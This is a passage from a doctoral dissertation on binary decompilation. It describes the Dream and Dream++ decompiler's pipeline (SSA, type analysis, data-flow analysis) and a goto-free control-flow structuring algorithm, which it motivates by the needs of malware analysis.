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Abstract

Many security techniques have been developed both in academia and industry to analyze

source code, including methods to discover bugs, apply taint tracking, or find vulnerabilities.

These source-based techniques leverage the wealth of high-level abstractions available in the

source code to achieve good precision and efficiency. Unfortunately, these methods cannot be

applied directly on binary code which lacks such abstractions. In security, there are many sce-

narios where analysts only have access to the compiled version of a program. When compiled,

all high-level abstractions, such as variables, types, and functions, are removed from the final

version of the program that security analysts have access to.

This dissertation investigates novel methods to recover abstractions from binary code. First,

a novel pattern-independent control flow structuring algorithm is presented to recover high-

level control-flow abstractions from binary code. Unlike existing structural analysis algorithms

which produce unstructured code with many goto statements, our algorithm produces fully-

structured goto-free decompiled code. We implemented this algorithm in a decompiler called

Dream. Second, we develop three categories of code optimizations in order to simplify the de-

compiled code and increase readability. These categories are expression simplification, control-

flow simplification and semantics-aware naming. We have implemented our usability exten-

sions on top of Dream and call this extended version Dream
++.

We conducted the first user study to evaluate the quality of decompilers for malware anal-

ysis. We have chosen malware since it represents one of the most challenging cases for binary

code analysis. The study included six reverse engineering tasks of real malware samples that

we obtained from independent malware experts. We evaluated three decompilers: the leading

industry decompiler Hex-Rays and both versions of our decompiler Dream and Dream
++.

The results of our study show that our improved decompiler Dream
++ produced significantly

more understandable code that outperforms both Hex-Rays and Dream. Using Dream
++ par-

ticipants solved 3×more tasks than when using Hex-Rays and 2×more tasks than when using

Dream. Moreover, participants rated Dream
++ significantly higher than the competition.
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1
Introduction

Computers are ubiquitous in our modern society, and they affect almost every aspect of our

life. Software is what really turns computers into very powerful and smart devices that are

capable of performing useful tasks. Today, normal users install many programs on their com-

puters such as web browsers, multimedia apps, text editors, games, etc. These programs

sometimes come from unknown or untrusted sources. This is also the case for companies that

use software from third-parties, which they do not control. The strong reliance on third-party

software creates a wide spectrum of serious security risks.

Unfortunately, some programs are buggy or may even contain deliberately inserted back-

doors. This enables attackers to exploit these vulnerabilities in order to gain access to the

systems and install malicious software (malware). The installed malware can then steal sen-

sitive information, manipulate private data, and prevent access of legitimate users. For this

reason, it is a extremely important to secure the systems we depend on. Since we cannot

prevent developers from making mistakes and we do not control the majority of software we

use, we need effective techniques to quickly analyze and understand the functionality of soft-

ware. Therefore, code analysis is an essential step in order to find vulnerabilities and analyze

malware that exploits them.

Code analysis is becoming increasingly difficult due to the high complexity of modern

software. Malware, which is one of the most serious threats to the Internet security today, is a

striking example of that. The level of sophistication employed by current malware continues to

evolve significantly. For example, modern botnets use advanced cryptography, complex com-

munication protocols to make reverse engineering harder. These security measures employed

1



2 Introduction

by malware authors are seriously hampering the efforts by computer security researchers and

law enforcement [4, 74] to understand and take down botnets and other types of malware.

Developing effective countermeasures and mitigation strategies requires a thorough under-

standing of functionality and actions performed by the malware. Although many automated

malware analysis techniques have been developed, security analysts often have to resort to

manual reverse engineering, which is difficult and time-consuming.

When dealing with third-party software or malware, security experts usually only have

access to the compiled binary version of the code. Even when the source code of a program is

available, analyzing the corresponding compiled code is important. This is mainly due to two

reasons: First, the optimizations performed by compilers may alter the semantics of the source

code, which creates a discrepancy between the source code of a program and its executable

code. This phenomenon is referred to in the literature as What You See Is Not What You eXecute

(WYSINWYX) [6]. The binary form of the program produced by the compiler is what actually

gets executed by the processor. This means that it provides the actual ground truth about

the program’s functionality. Second, some vulnerabilities are specific to certain platforms [96].

That is, when the same code is compiled into two different platforms, the compiled binary

code might be secure for one platform but vulnerable for the other one. This clearly shows

the need for techniques to analyze binary code directly and also to be able to support multiple

platforms.

Analyzing binary code is extremely challenging and time consuming. This mainly stems

from the fact that during compilation almost all high-level abstractions available in the source

code are removed by the compiler. These include abstractions like functions, variable names,

date types, and control-flow constructs. The presence of these abstractions in the source code

makes it more easily understandable by humans. However, they are not needed by the pro-

cessor to correctly execute the code. Decompilation offers an attractive method to tackle this

issue and assist malware analysis by enabling analyses to be performed on a high-level, more

abstract form of the binary code. At a high level, decompilation consists of a collection of

abstraction recovery mechanisms to recover high-level abstractions that are not readily avail-

able in the binary code. Both manual and automated analyses can then be performed on the

decompiled program code, reducing both the time and effort required. Towards this goal,

the research community has addressed principled methods for recovering high-level abstrac-
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Binary code

int foo(int a){
int i = 0;
for(; i < a ; i++){
...

}
}

Source code

int foo(int arg){
int var = 0;
while(var < arg){
...
var = var + 1;

}
}

Decompiled code

High-level
abstractions are lost

Recovered abstractions

Compilation Decompilation

Figure 1.1: Compilation vs Decompilation

tions required for source code reconstruction. This includes approaches for recovering data

types [59, 82, 58] and high-level control-flow structure (e.g., if-then-else constructs and

while loops) from binary code [76, 103].

Decompilers that can reliably generate high-level readable code are very important tools in

the fight against malware: they speed up the reverse engineering process by enabling malware

analysts to reason about the high-level form of code instead of its low-level assembly form.

The faster and better the functionality and inner workings of a piece of malware is understood

the faster effective detection techniques and countermeasures can be devised. This largely

depends on the quality of the decompiled code, which can range from a very well readable

code to a very poor version that still looks more like assembly code.

Decompilation is not only beneficial for manual analysis, but also enables the application

of a wealth of source-based security techniques in cases where only binary code is available.

This includes techniques to discover bugs [9], apply taint tracking [23], or find vulnerabilities

such as RICH [15], KINT [91], Chucky [106], Dowser [49], and the property graph approach

[104, 105]. These techniques benefit from the high-level abstractions available in source code

and therefore are faster and more efficient than their binary-based counterparts. For example,

the average runtime overhead for the source-based taint tracking system developed by Chang
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et al. [23] is 0.65% for server programs and 12.93% for compute-bound applications, whereas

the overhead of Minemu, the fastest binary-based taint tracker, is between 150% and 300% [13].

This clearly illustrates the benefits of decompilation: it can bridge the gap between source code

analyses which are efficient but rely on high-level abstractions and binary code where these

abstractions are not available.

Binary code decompilation has a long history that dates back to the 1960’s. A very good

survey on the history of decompilation and several related areas can be found in Van Em-

merik’s PhD thesis [39, Chapter 5]. Another in-depth overview is available online [33]. Unfor-

tunately, while significant advances have been made, state-of-the-art decompilers still create

very complex code and do not focus on readability. The decompiled code can be so difficult to

understand that security experts resort to analyzing the assembly code directly. Moreover, the

evaluations of decompilers in previous works have never considered the human factor. That

is, these evaluations have never performed user studies to test whether and to what extent

the proposed decompilation techniques actually help human analysts. This is surprising since

human analysts are a very important target for decompilation research.

Decompilation is a very wide topic and in this thesis we focus on improving the start of

the art in certain dimensions. More specifically, we focus on improving the readability of the

decompiled code in order to make it easier to understand by human analysts. In the following,

we clearly state the research questions and the contributions of the thesis.

1.1 Research Questions

The focus of this work is on binary code decompilation. We seek to explore ways to improve

the state of the art by improving the readability of the decompiled code in order to facilitate

the process of manual analysis of binary code. Also, we target designing new methods to

quantitatively and qualitatively evaluate the quality of the decompiled code and the benefits

of decompilers for human analysts.

Research Question 1. How can we produce structured code?

Structured code uses high-level control constructs such as if-then-else and while

loops to express the control flow inside a program. These constructs are easy for humans

to understand and used by developers when writing code. A big issue with state-of-the-art



Introduction 5

decompilers is that they produce code that contains a lot of goto statements representing

arbitrary jumps in the code. These statements result in unstructured code that is hard to

understand [37]. This research question seeks to find methods to reliably recover control-flow

abstractions so that the decompiled code is structured and does not contain goto statements.

Research Question 2. How can the decompiled code be put in a readable format to facilitate manual

reverse engineering?

Decompiled code is easier to understand if it can be written in a way that is similar to

the manner a human developer would write code. However, during compilation the program

structure is transformed into a more efficient but less readable form. This negatively impacts

the decompiled version of the program recovered by the decompiler. While some compiler

optimizations are not reversible, this research question involves following a human-centric

approach to devise optimizations that transform the decompiled code into a more readable

form.

Research Question 3. How can we evaluate the effectiveness of decompiler for manual reverse engi-

neering?

Properly evaluating the quality of decompilers is essential to verify whether and to what

extent the developed techniques can actually help in the analysis of binary code. Given that

manual reverse engineering is one of the main motivations for decompiler research, it is sur-

prising that previous works has never considered the human factor in their evaluation. This

research question involves including the human factor in the evaluation of decompilation tech-

niques to test how useful these techniques are for human analysts.

1.2 Thesis Contributions

The techniques presented in thesis are implemented in a academic decompiler called Dream
++

(Decompiler for Reverse Engineering and Analysis of Malware). In summary, the contributions

of this thesis can be summarized as follows.

• New control-flow structuring algorithm. We present a novel pattern-independent control-

flow structuring algorithm to recover all high-level control structures from binary pro-

grams without using any goto statements. Our algorithm can structure arbitrary control
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flow graphs without relying on a predefined set of region schemas or patterns, as done

by state-of-the-art decompilers. We present new semantics-preserving graph restructuring

techniques that transform unstructured CFGs into a semantically equivalent form that

can be structured without goto statements. We refer to the version of our decompiler

that implements our new control-flow structuring algorithm as Dream.

• Usability extensions to decompiler. We present several semantics-preserving code trans-

formations to simplify and improve the readability of decompiled code. The key insight

of our approach is that the abstractions recovered during previous decompilation stages

can be leveraged to devise powerful optimizations. To this end, we devise optimizations

to simplify expressions and control-flow structure, remove redundancy, and give mean-

ingful names to variables based on how they are used in code. We have implemented

our techniques as extensions to our decompiler Dream. The extended version is called

Dream
++.

• Evaluation with malware analysis user study. We include the human factor in a metric to

evaluate how useful a decompiler is for manual analysis of binary code. Based on that,

we conduct the first user study to evaluate the quality and usefulness of our approach for

malware analysis. We conduct our study both with students trained in malware analysis

as well as professional malware analysts. The results provide a statistically significant

evidence that Dream
++ outperforms both the leading industry decompiler Hex-Rays

and the original Dream decompiler in the amount of tasks successfully analyzed.

1.3 Thesis Outline

This thesis consists of six chapters. The following four chapters describe the decompilation

techniques developed during the work on this thesis. These chapters are based on papers

published at peer-reviewed conferences. In the following, we describe the remaining chapters

of the thesis.

Chapter 2. This chapter provides a high-level overview of the structure of our decompiler. The

decompiler is based on a combination of existing works and novel techniques developed for
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this thesis. Here, we discuss the existing techniques that we used and mention our extensions

to them.

Chapter 3. This chapter describes our novel control-flow algorithm to produce fully-structured

decompiled code. Here, we discuss our pattern-independent structuring and semantics-preserving

transformations techniques designed to produce a goto-free output.

Chapter 4. This chapter describes our usability optimizations to make the decompiled code

more readable and easier to understand. Here, we describe a combination of semantic-

preserving transformations to simplify the code and increase readability. These optimizations

are divided into three categories: expression simplification, control-flow simplification and

semantics-aware naming.

Chapter 5. This chapter presents the evaluation of our techniques for malware analysis. Here,

we describe the design of the first malware analysis user study and present the results of

comparing our approach with the leading industry decompiler Hex-Rays.

Chapter 6. This chapter concludes the thesis by summarizing the main contributions and

mentioning open directions for future research.



8 Introduction



2
The DREAM++ Decompiler

The work presented in this chapter is based on our paper published at the 8th IEEE

International Conference on Malicious and Unwanted Software

(MALWARE 2013) [101]. The chapter text is taken and adapted from this paper. The

authors’ contributions that are relevant to the contents of this chapter are as follows:

• Khaled Yakdan designed and implemented the system. Khaled also designed

the main part of the evaluation and performed the evaluation.

• Sebastian Eschweiler provided valuable feedback during all phases of the work,

and participated in designing the evaluation.

• Elmar Padilla was very helpful in discussing the work and provided tips for

structuring the paper.

Authors’ Contributions

This chapter describes the overall architecture of the Dream
++ decompiler and discusses

the design decisions. Designing an end-to-end decompiler is a large and challenging project.

This stems from the fact that a wealth of high-level abstractions are removed by the compiler

since they are not needed to correctly execute the code. As a result, several decompilation steps

are needed to reconstruct those abstractions from binary code. As discussed in the previous

Chapter, we focus in this work on improving the state of the art of binary code decompilation

by focusing on certain decompilation steps. While building our decompiler, we rely on existing

9
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Binary IR+CFG
Type

Recovery
Data-Flow
Analysis

Control-Flow
Structuring

Readability
Optimizations

Decompiler
Output

Dream

Dream
++

Figure 2.1: Overview of the Dream
++ decompiler. In the remainder of this thesis, we refer by

Dream to the version of the decompiler consisting of the first four steps (highlighted in green).
The name Dream

++ refers to the complete decompiler (highlighted in blue).

tools and techniques for those steps where we don’t make new contributions. In the following,

we discuss our design and elaborate on the choices we made. We also give an overview on the

existing techniques we used and the extensions we introduced to these techniques.

2.1 Overview

A high-level overview of the architecture of Dream
++ is given in Figure 2.1. The decompiler

consists of several stages. First, the executable file is parsed, the program is loaded, and the

code is disassembled. This stage builds the control-flow graph for all binary functions. For this

step, we use the IDA Pro [51]. We also rely on IDA for the function interface recovery step, i.e.,

recovering the parameters and return values of functions. After that, the disassembled code

is lifted into Dream’s intermediate representation (IR), which enables the subsequent analysis

steps to be implemented independently from the input architecture. The used IR is based on

the intermediate representation presented by Van Emmerik in his PhD thesis [39]. Should the

binary be obfuscated tools such as [55] and [107] can be used to extract the binary code. We

also rely on IDA for variable recovery. Currently, we only support translating x86 into the

intermediate representation.
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The second stage reconstruct the data types of recovered variables. Our implementation

for this step is based on the concepts employed by TIE [58]. Recently, several more advanced

approaches have been proposed to perform type analysis on binary code [73, 64]. Employing

these approaches to Dream
++ is left for future work.

The third stage performs several data-flow analyses to remove several low-level details

from the code and replace them with corresponding high-level representations. This stage

consists of several standard code optimizations such as expression propagation and dead code

elimination. We based our data-flow analysis on the work of Van Emmerik on his PhD the-

sis [39]. The main idea of Van Emmerik’s thesis is that decompilation is easier on the Single

Static Assignment (SSA) form of a program. Transforming our IR into SSA enables an effi-

cient implementation of several data-flow analysis algorithms. These stages (marked in red in

Figure 2.1) rely on existing work and will not be discussed in detail in the next chapters.

The four and fifths steps (marked in blue in Figure 2.1) are the core contributions of this

thesis. The fourth stage is our new control-flow structuring algorithm to recover high-level

control constructs from the CFG representation. The main idea of this algorithm is to be pattern

independent. That is, unlike existing approaches, it does not rely on any predefined patterns

that describe the shape of graphs corresponding to high-level control constructs. Rather, it

relies on the semantics of those control constructs and can therefore produce structured goto-

free code.

The fifth stage performs several code optimizations to improve the readability of the de-

compiled code. The main focus of these optimization is to transform the decompiled code

into a semantically-equivalent representation that is easier to understand. We develop three

categories of semantics-preserving code transformations to simplify the code and increase

readability. These categories are expression simplification, control-flow simplification and

semantics-aware naming.

We design our transformations to be semantics-preserving. However, some of these trans-

formations rely the results of other analyses such as type analysis and function interface recov-

ery. Errors in these analyses can lead to incorrect transformations. For example, if the function

interface recovery step fails to detect that a called function has a parameter that is passed in a

register, an assignment to this register before the function call may appear as dead code. This
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will be the case if the assignment is only used by the caller to initialize the argument of the

called function. Consequently, the assignment will be deleted by dead code elimination.

2.2 Naming Conventions

In Chapter 5, we conduct a user study to evaluate the impact of our readability optimizations

(i.e., the fifth and last stage in Figure 2.1) on the quality of the decompiled code. For this,

we compare the readability of the decompiled code produced by our decompiler with and

without these optimizations. For easier readability, we gave the corresponding versions of our

decompiler distinguishing names. More specifically, we refer to the version of the decompiler

consisting of the first four steps by Dream. This corresponds to the area highlighted in green

in Figure 2.1. The enhanced and complete version of the decompiler that adds the readability

optimizations is referred to in the thesis by Dream
++.

2.3 Decompiler Design

An end-to-end decompiler is a complex project. Therefore, we opted for a modular design for

Dream
++. As can be seen in Figure 2.1, we split the abstraction recovery process into multiple

steps where each step recovers a specific high-level abstraction. The output of each step is

provided as an input to the next step. This modular design enables us to implement each step

as an independent module that can be later used and updated independently from the rest of

the system.

One important design decision was to lift the binary code into an intermediate representa-

tion (IR) before applying our analyses. This step is essential to easily support multiple archi-

tectures by providing an abstraction layer between the underlying architecture of the binary

code and the analysis logic. CISC architectures are very complex and contain hundreds of in-

structions. For example, the x86 instruction set including all of its modern extensions contains

more than 600 instructions. This makes it extremely challenging to correctly model and test the

effects of all instructions in the analysis logic. Moreover, working directly with the binary code

makes the analysis logic tightly coupled with the corresponding architecture. Consequently, a

complete rewrite of the analysis code is required when wanting to support a new architecture.



The Dream
++ Decompiler 13

x = 1

y = input()

y < 5

y = y + x y = y + 2

return y

(a) Code before SSA

x1 = 1

y1 = input()

y1 < 5

y2 = y1 + x1 y3 = y1 + 2

y4 = φ(y2, y3)

return y4 + x1

(b) Code in SSA form

Figure 2.2: SSA Form.

2.4 Static Single Assignment

Dream
++ transforms the IR code into static single assignment (SSA) form before analyzing it.

The SSA form is a code representation of code where each variable is only defined once in the

program text. Figure 2.2 illustrates this idea by showing the control flow graph of a sample

program before (Figure 2.2a) and the result of transforming it into the SSA form (Figure 2.2b).

At a high level, each variable is assigned a index that is incremented with each new definition

of the variable. To represent the different versions of a variable reaching join points in the

control flow graph, the so called φ-functions are inserted. In SSA form, use-def chains are

explicit and each contains a single element.

The SSA form makes it easier to write efficient code optimizations. Thus, it is used as the

internal code representation such as the LLVM compiler infrastructure [87]. Van Emmerik has

shown in his PhD thesis [39] that several data-flow analyses for decompilation can be better

implemented with SSA form.

2.4.1 Transforming code into SSA

There exist several algorithms to transform code into SSA form. These algorithms differ in

the number of φ-functions they insert into the code. We use the SSA generation algorithm

proposed by Cytron et al. [31]. The algorithm efficiently constructs the SSA form based on



14 The Dream
++ Decompiler

g1 = g2 =

g3 = φ(g1, g2)

(a) Before

g1 =

µ1 = g1

g2 =

µ2 = g2

µ3 = φ(µ1, µ2)

g3 = µ3

(b) After

Figure 2.3: Handling global variables for SSA back translation.

the dominance frontiers graph property [3] and computes the minimal SSA form in terms of

inserted φ-functions. As a by-product of applying this algorithm, we construct two data sets

linking the definitions and uses of all variables in the program.

• definitionsMap is a hash table that allows fast access to the instruction that defines each

variable.

• usesMap is a hash table that allows fast access to the set of instructions that use each

variable.

2.4.2 Applying SSA to Memory

Pointer aliasing complicates the construction of SSA. The fact that different memory expres-

sions may refer to a single location effectively means that the same memory location can be

accessed using different names. Reasoning about aliases is important to correctly add indices

to memory expressions. To this end, we apply the approach proposed by Van Emmerik [39].

At a high level, this approach consists of two steps: first, non-memory locations are translated

into the SSA form and expression propagation is only applied to these locations. Second, sub-

scripting and propagating memory locations is delayed until after propagation of non-memory

locations is done.

2.4.3 SSA Back Translation

The optimized IR is transformed out of SSA before code generation. This involves removing

φ-functions since they do not belong to any high-level language. Originally, all variables in
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a φ-function stem from the same variable, and removing the φ-function means choosing one

representative for them. This is only possible if the live ranges of variables in the φ-function

do not interfere. That is, two variables x1, x2 can be represented in the program text using one

representative x if they are not mutually live at any point in the program. A variable x is live

at a point p of the program if there exists an execution path from the definition of x to p and

a path from p to a use of x. Several approaches propose removing interferences by inserting

copy statements. Dream
++ uses Sreedhar’s algorithm [84] since it produces fewer copies in

general [75]. However, the algorithm has the drawback that it does not distinguish between

global and local variables when inserting copy statements. This may lead to renaming some

global variables participating in a φ-function which changes the semantics of input code.

We solve this problem by breaking the live ranges of interfering global variables partici-

pating in a φ-function. Figure 2.3 shows an example of this case. If the live ranges of global

variables g1, g2 and g3 shown in Figure 2.3a interfere, copy instructions using local variables

µ1, µ2 and µ3 are inserted as illustrated in Figure 2.3b. This breaks the live ranges of global

variables and the φ function now contains only local variables that can be renamed without

any constraints. At this point the subscripts of global variables can be safely removed.

2.5 Type Analysis

Type analysis addresses the problem of assigning types to variables. For this, we base our

type analysis on TIE [58] where we start from a set of type sinks, i.e., locations in code where

the types of variables are directly known. Then, the types of remaining variables are resolved

using a set of type inference rules. Binary code contains instructions that take operands of

fixed and known types. For example, in the x86 instruction set these instructions include:

• string instructions which deal with pointers. This set includes movs, lods, stos,

cmps.

• integer instructions which deal with integer values. This set includes mul, div , etc.

• floating-point instructions which operate on floating-point numbers. This set includes

fadd, fdiv , etc.
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• Standard library calls which have a well-defined and publicly known API. Here, the types

of parameters and return values can be easily acquired from the definition of the function

interface. For example, the single argument of strlen must be of the char* type.

Dream
++ uses these instructions as reliable starting points for performing type unification.

That is, it uses a set of inference rules to deduce the types of remaining variables based on

how they are used in code. For simple types, an assignment of the form x = y reveals that

both variables have compatible types. For addition of the form x = y + z, knowing the type

of two operands leads to identifying the type of the third operand. For example, if y and z

are integers, then x is also an integer. Recognized types are propagated using the properties

of SSA which allows to efficiently get, for each variable, the defining instruction and the list of

using instructions.

2.6 Data Flow Analysis

In this section, we describe and discuss the third analysis phase, as depicted in Figure 2.1.

Here, we perform several data-flow analyses to reconstruct high-level statements correspond-

ing to the input code.

2.6.1 Expression Propagation

Machine code instructions can only represent simple expressions directly. Moreover, instruc-

tion sets impose restrictions on the number and type of operands that can be used in these

instructions. Therefore, compilers break high-level expressions into a sequence of simpler sub-

expressions that can be represented by machine instructions. Expression propagation reverses

this process by propagating variable definitions into the instructions using them. Figure 2.4a

shows a sample code of three instructions. Propagating the value of variables b1 and c1 into

the third instruction results in the code in Figure 2.4b.

This propagation may result in superfluously complex expressions. After propagation,

Dream
++ performs a mathematical simplification phase in order to transform expressions

into equivalent but simpler forms. This phase is analogous to that of common compilers and

its effect is illustrated in Figure 2.4c where the third instruction is simplified.
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x1 = z1 + 1

y1 = z1 + 3

x2 = y1 − x1

(a) Sample code.

x1 = z1 + 1

y1 = z1 + 3

x2 = (z1 + 3)− (z1 + 1)

(b) Code after propagation.

x1 = z1 + 1

y1 = z1 + 3

x2 = 2

(c) Code after
simplification.

Figure 2.4: Expression Propagation.

2.6.2 Dead Code Elimination

A variable is dead if it is defined by a given instruction but not used afterwards. If the defining

instruction only defines the dead variable, it can be safely removed. Dead code is common

after expression propagation as illustrated in Figure 2.4c where variables b1 and c1 become

dead. Checking if a variable v is dead can be performed in constant time using the usesMap

data structure.

v is dead⇐⇒ usesMap [v.name] [v.subscript] = ∅ (2.1)

Certain types of variables cannot be removed even if they satisfy statement 2.1. This partic-

ularly concerns global variables, i.e., memory locations in data section. Such variables can be

accessed and modified by all functions of the program. Therefore, Dream
++ does not elimi-

nate global variables. Combining expression propagation and dead code elimination enables

Dream
++ to overcome obfuscation techniques that insert junk code and semantic NOPs.

Trivial φ chains. Expression propagation may result in situations where some variables are not

effectively used but cannot be deleted because they do not satisfy the condition in statement

2.1. This is particularly relevant for variables participating in φ functions. Figure 2.5 shows an

example consisting of variables x1, x2 and x3. None of these variables is dead because there

exists a circular dependence between them. Moreover, translating this code out of the SSA

form will result in useless assignments of the form x = x. We call such a set trivial φ chain and

denote it by φt. It is defined as the set of variables that are only either used in

1. a φ function of variables in φt; or

2. a copy assignment of the form ai = aj defining a variable contained in φt.
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x1 = 0

x2 = φ(x1, x3)
...

x3 = x2

Figure 2.5: A trivial φ function

All variables in φt can be safely removed without changing the semantics of code. The scope

of these chains may cover several φ functions. Removing trivial φ chains may lead to other

variables becoming dead. Therefore, the dead code elimination algorithm is applied iteratively

until no trivial φ chain is found.

2.6.3 Detection of Function Parameters

Function parameters are those variables used before being defined in the body of the function.

They are defined by a former function in the call chain. Therefore, a parameter is live at the

function’s entry. Global memory locations can be directly accessed by all functions, hence,

they do not conform to the notion of parameters being locally defined in the body of the caller.

Dream
++ constructs function parameters based on the following equation

Parameters ( f ) = {p | p ∈ LiveIn (B0) and p ∈ Candidates}

LiveIn (B0) is the set of live variables on the function’s entry and Candidates is the set of

non-global variables.

After the data-flow analysis phase, most machine-specific details are replaced by high-

level representations. Tested flags are replaced by equivalent conditions. Functions calls are

presented with their actual parameters. The optimized IR contains high-level expressions and

is smaller than the input code because dead code resulted from expression propagation or

semantic NOPs is removed.
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2.7 Summary

In this chapter, we described the overall architecture of our decompiler and discussed the main

design decisions we made. We also described the decompilation steps in Dream
++ that are

based on existing works. For these steps, we also described the extensions and improvements

we made. The next chapter describes our first main contribution: a novel control-flow struc-

turing algorithm that produces fully structured decompiled code without goto statements.
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3
Control-Flow Structuring

The work presented in this chapter is based on our paper published at the 22nd

Network and Distributed System Security Symposium (NDSS 2015) [103]. The chapter

text is taken and adapted from this paper. The authors’ contributions that are relevant

to the contents of this chapter are as follows:

• Khaled Yakdan had the main idea, designed and implemented the system,

designed and conducted the evaluation.

• Sebastian Eschweiler was very helpful in discussing the idea.

• Elmar Padilla provided valuable feedback to the idea and evaluation.

• Matthew Smith participated in designing the part of the evaluation regarding

comparing Dream with other decompilers. Matthew also gave valuable insights

and guidance to the structure of the paper.

Authors’ Contributions

This chapter of the thesis focuses on the recovery of control-flow abstractions from binary code.

This process, denoted in the literature as control-flow structuring, means taking the control-flow

graph of a binary function and recovering the corresponding high-level control flow constructs

(e.g., if-then-else or while loops) from the graph representation. Recovering high-level

control constructs is essential for decompilation in order to produce structured code that is

suitable for human analysts and source-based program analysis techniques.

21
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State-of-the-art binary code decompilers such as Hex-Rays [47] and Phoenix [76] rely on

structural analysis for this step, which is a pattern-matching approach over the control flow

graph, to recover high-level control constructs from binary code. Whenever no match is found,

they generate goto statements and thus produce unstructured decompiled output. Those

statements are problematic because they make decompiled code harder to understand and

less suitable for program analysis.

In this chapter, we present a novel pattern-independent control-flow structuring algorithm

that can recover all control constructs in binary programs and produce structured decompiled

code without any goto statement. We also present semantics-preserving transformations that can

transform unstructured control flow graphs into structured graphs. These techniques make

Dream the first decompiler to offer a goto-free output. We demonstrate the correctness of

our algorithms and show that we outperform both the leading industry and academic decom-

pilers: Hex-Rays and Phoenix. We use the GNU coreutils suite of utilities as a benchmark.

Apart from reducing the number of goto statements to zero, Dream also produced more com-

pact code (less lines of code) for 72.7% of decompiled functions compared to Hex-Rays and

98.8% compared to Phoenix. We also present a comparison of Hex-Rays and Dream when

decompiling three samples from Cridex, ZeusP2P, and SpyEye malware families.

3.1 Introduction

One of the essential steps in decompilation is control-flow structuring, which is a process

that recovers the high-level control constructs (e.g., if-then-else or while loops) from the

program’s control flow graph (CFG) and thus plays a vital role in creating code which is read-

able by humans. State-of-the-art decompilers such as Hex-Rays [47] and Phoenix [76] employ

structural analysis [62, 77] (§3.2.1) for this step. At a high level, structural analysis is a pattern-

matching approach that tries to find high-level control constructs by matching regions in the

CFG against a predefined set of region schemas. When no match is found, structural analy-

sis must use goto statements to encode the control flow inside the region. As a result, it is

very common for the decompiled code to contain many goto statements. For instance, the

de facto industry standard decompiler Hex-Rays (version v2.0.0.140605) produces 1,571 goto

statements for a peer-to-peer Zeus sample (MD5 hash 49305d949fd7a2ac778407ae42c4d2ba)
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that consists of 997 nontrivial functions (functions with more than one basic block). The de-

compiled malware code consists of 49,514 lines of code. Thus, on average it contains one goto

statement for each 32 lines of code. This high number of goto statements makes the decom-

piled code less suitable for both manual and automated program analyses. Structured code

is easier to understand [37] and helps scale program analysis [62]. The research community

has developed several enhancements to structural analysis to recover control-flow abstractions.

One of the most recent and advanced academic tools is the Phoenix decompiler [76]. The focus

of Phoenix and this line of research in general is on correctly recovering more control structure

and reducing the number of goto statements in the decompiled code. While significant ad-

vances are being made, whenever no pattern match is found, goto statements must be used

and this is hampering the time-critical analysis of malware. This motivated us to develop a

new control-flow structuring algorithm that relies on the semantics of high-level control con-

structs rather than the shape of the corresponding flow graphs.

In this chapter, we overcome the limitations of structural analysis and improve the state

of the art by presenting a novel approach to control-flow structuring that is able to recover all

high-level control constructs and produce structured code without a single goto statement.

To the best of our knowledge, this is the first control-flow structuring algorithm to offer a

completely goto-free output1. The key intuition behind our approach is based on two obser-

vations: (1) high-level control constructs have a single entry point and a single successor point,

and (2) the type and nesting of high-level control constructs are reflected by the logical con-

ditions that determine when CFG nodes are reached. Given the above intuition, we propose

a technique, called pattern-independent control flow structuring, that can structure any region

satisfying the above criteria without any assumptions regarding its shape. In case of cyclic

regions with multiple entries or multiple successors, we propose semantics-preserving transfor-

mations to transform those regions into semantically equivalent single-entry single-successor

regions that can be structured by our pattern-independent approach. To avoid unnecessarily

increasing the size of the decompiled code and thus negatively impacting its readability, we

designed these transformations so that they do not involve duplicating any code blocks. This

is an important feature distinguishing our algorithm from other approaches that use node

splitting to handle unstructured control flow [1].

1This is the case even when the original source code contains goto statements.
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We have implemented our algorithm in a decompiler called Dream
2 (Decompiler for

Reverse Engineering and Analysis of Malware). Based on the implementation, we measure

our results with respect to correctness and compare Dream to two state-of-the-art decompilers:

Phoenix and Hex-Rays.

In summary, we make the following contributions:

• We present a novel pattern-independent control-flow structuring algorithm to recover all

high-level control structures from binary programs without using any goto statements.

Our algorithm can structure arbitrary control flow graphs without relying on a prede-

fined set of region schemas or patterns.

• We present new semantics-preserving graph restructuring techniques that transform un-

structured CFGs into a semantically equivalent form that can be structured without goto

statements.

• We implement Dream, a decompiler containing both the pattern-independent control-flow

structuring algorithm and the semantics-preserving graph restructuring techniques.

• We demonstrate the correctness of our control-flow structuring algorithm using the joern

C/C++ code parser and the GNU coreutils.

• We evaluate Dream against the Hex-Rays and Phoenix decompilers based on the coreutils

benchmark.

• We use Dream to decompile three malware samples from Cridex, ZeusP2P and SpyEye

and compare the results with Hex-Rays.

3.2 Background & Problem Definition

In this section, we introduce necessary background concepts, define the problem of control-

flow structuring and present our running example.

2Check Section 2.2 and Figure 2.1 for information about the naming of the different versions of our decompiler.
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1 int foo(){
2 int i = 0;
3 while(i < MAX){
4 print(i);
5 i = i + 1;
6 }
7 return i;
8 }

Figure 3.1: Exemplary code sample

SEQ

DECL

int =

i 0

WHILE

<

i MAX

SEQ

CALL

print ARG

i

=

i +

i 1

RETURN

i

Figure 3.2: Abstract Syntax Tree

3.2.1 Background

We start by briefly discussing two classic representations of code used throughout the chapter

and provide a high-level overview of structural analysis. As a simple example illustrating the

different representations, we consider the code sample shown in Figure 3.1.

Abstract Syntax Tree (AST)

Abstract syntax trees are ordered trees that represent the hierarchical syntactic structure of

source code. In this tree, each interior node represents an operator (e.g., additions, assignments,

or if statements). Each child of the node represents an operand of the operator (e.g., constants,

identifiers, or nested operators). ASTs encode how statements and expressions are nested to

produce a program. As an example, consider Figure 3.2 showing an abstract syntax tree for

the code sample given in Figure 3.1.
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int i = 0

c: i < MAX

print(i)

i = i + 1

return i

c

¬c

Figure 3.3: Control Flow Graph

c1

c2

n1n2

c1

¬c1
¬c2c2

c1

While

n2

c1

¬c1

IfThen

n2

Sequence

Figure 3.4: Example of structural analysis.

Control Flow Graph (CFG)

A control flow graph of a program P is a directed graph G = (N, E, nh). Each node n ∈ N

represents a basic block, a sequence of statements that can be entered only at the beginning

and exited only at the end. Header node nh ∈ N is P’s entry. An edge e = (ns, nt) ∈ E

represents a possible control transfer from ns ∈ N to nt ∈ N. A tag, denoted by τ (ns, nt), is

assigned to each edge (ns, nt) ∈ E to represent the logical predicate that must be satisfied so

that control is transferred along this edge. We distinguish between two types of nodes: code

nodes represent basic blocks containing program statements executed as a unit, and condition

nodes represent testing a condition based on which a control transfer is made. We also keep a

mapping of tags to the corresponding logical expressions. Figure 3.3 shows the CFG for the

code sample given in Figure 3.1.

Structural Analysis

At a high level, the traditional approach of structural analysis relies on a predefined set of

